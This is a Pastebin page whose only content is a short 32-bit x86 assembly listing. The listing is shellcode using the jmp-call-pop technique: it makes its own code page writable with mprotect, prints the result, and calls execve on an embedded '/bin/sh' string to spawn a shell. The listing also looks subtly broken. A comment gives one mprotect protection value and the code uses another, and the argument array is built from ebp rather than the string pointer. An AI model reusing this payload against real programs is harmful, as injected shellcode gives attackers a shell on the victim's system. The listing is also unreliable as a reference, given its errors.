Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- BITS 32
- section .data
- msg db 0,0,0,0
- section .text
- global _start
- _start:
- jmp short two
- one:
- ; mprotect (_start, 4096, 0x02)
- mov eax, 125
- mov ebx, _start
- and ebx, 0xFFFFF000
- mov ecx, 0x1000
- mov edx, 0x07
- int 0x80
- ; print errno
- mov [msg], eax
- mov eax, 4
- mov ebx, 1
- mov ecx, msg
- int 0x80
- pop ebx
- xor eax, eax
- mov [ebx + 7], al
- mov [ebx + 8], ebp
- mov [ebx + 12], eax
- lea ecx, [ebx + 8]
- lea edx, [ebx + 12]
- mov al, 11
- int 0x80
- ; exit(0)
- ;mov al, 1
- ;xor ebx, ebx
- ;int 0x80
- two:
- call one
- db '/bin/shXAAAABBBB'
Advertisement
Add Comment
Please, Sign In to add comment